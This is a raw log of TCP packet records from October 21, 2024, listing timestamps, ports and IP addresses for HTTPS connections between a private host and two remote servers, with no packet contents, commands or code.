Oct 21, 2024 17:05:19.289311886 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289319038 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289340019 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289442062 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289448977 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289486885 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289534092 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289550066 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289557934 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289592028 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289673090 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289724112 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289762020 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289802074 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289818048 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289825916 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289854050 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289885044 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289935112 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290026903 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290065050 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290087938 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.290096045 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290121078 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.290282965 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290338993 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.290345907 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290410042 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.290416002 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.290465117 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302246094 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302272081 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302328110 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302340984 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302370071 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302411079 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302521944 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302552938 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302584887 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302591085 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302597046 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302623987 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302644968 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302797079 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302814007 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302834988 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302881956 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.302890062 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.302907944 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303236008 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303252935 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303281069 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303288937 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303323984 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303523064 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303551912 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303590059 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303596973 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303606033 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303637981 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303838015 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303853035 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303900003 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.303906918 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.303966045 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304127932 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304142952 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304172993 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304209948 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304214954 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304282904 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304385900 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304403067 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304459095 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304464102 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304470062 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304477930 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304510117 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304625988 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304641008 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304671049 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304677010 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304708004 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304722071 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.304929972 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304945946 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304975986 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.304996014 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.305003881 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305027008 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.305119991 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305138111 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305175066 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.305181980 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305208921 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.305383921 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305397034 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305449963 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.305461884 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305665016 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305682898 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305718899 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.305726051 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.305761099 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.306016922 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.306030989 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.306123018 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.306129932 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.306162119 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.306193113 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.306210995 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.306219101 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.306252956 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.308903933 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.308918953 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.308952093 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.308958054 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.308985949 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.308998108 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309010029 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309026957 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309031963 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309062004 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309225082 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309267998 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309282064 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309288025 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309312105 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309314966 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309329033 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309334040 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309367895 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309393883 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309398890 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309516907 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309531927 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309580088 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309585094 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309603930 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309628010 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309659958 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309665918 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309684038 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309823036 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309838057 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309885025 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.309891939 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.309906960 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.310003042 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310017109 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310064077 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.310070038 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310084105 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310106993 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310131073 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.310137033 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310163021 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.310262918 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310276985 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310329914 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.310337067 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310436010 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310453892 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310489893 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.310496092 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.310513020 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.350064993 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.366900921 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.366936922 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367008924 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367039919 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367048979 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367100000 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367191076 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367223978 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367248058 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367254019 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367285013 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367305040 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367371082 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367387056 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367434978 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367439032 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367445946 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367469072 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367496014 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367707968 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367723942 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367769957 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367779016 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367784977 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367818117 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367827892 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367834091 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367851973 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367862940 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367870092 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367881060 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.367885113 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.367912054 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368077993 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368093967 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368160009 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368168116 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368393898 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368415117 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368451118 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368455887 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368489027 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368686914 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368736029 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368757010 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368765116 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368781090 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368818998 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368890047 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368906021 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368942976 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368961096 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.368968010 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.368993044 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369201899 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369221926 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369259119 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369265079 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369297028 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369410038 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369425058 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369474888 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369482994 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369520903 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369560003 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369581938 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369590044 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369616032 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369652987 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369901896 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369919062 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369976044 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.369980097 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.369990110 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.370055914 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.370640993 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.370656967 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.370712996 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.370744944 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.370750904 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.370769978 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.370785952 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.370810986 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.370862007 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.371455908 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:21.830734015 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:21.830773115 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:21.831007957 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:21.831422091 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:21.831446886 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.584861994 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.584952116 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.586935043 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.586951971 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.587389946 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.588836908 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.631330967 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.803719044 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.803903103 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.803989887 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.804003000 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.804022074 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.804143906 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.804147959 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.804172993 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.804235935 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.804264069 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.804414034 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.804481030 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.804496050 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.849771023 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.849797964 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885514021 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885556936 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885591984 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.885611057 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885658026 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885699034 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885711908 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.885719061 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.885756969 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.885756969 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.886106968 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.886112928 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.886276960 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.886315107 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.886348009 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.886353970 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.886358976 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.886511087 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.888976097 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.889012098 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.889050007 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.889056921 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.889166117 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.889170885 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.899487972 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.899563074 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.899579048 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.899806976 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.899894953 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.899905920 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.943650007 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.968849897 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.968950033 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969023943 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.969054937 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969100952 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969173908 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969221115 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969224930 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.969232082 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969271898 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.969326973 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969371080 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969408989 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969433069 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.969439983 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.969614983 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.970163107 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.970237970 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.970251083 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.970341921 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.970391035 CEST	443	49789	185.199.108.133	192.168.2.6
Oct 21, 2024 17:05:22.970669985 CEST	49789	443	192.168.2.6	185.199.108.133
Oct 21, 2024 17:05:22.970678091 CEST	443	49789	185.199.108.133	192.168.2.6
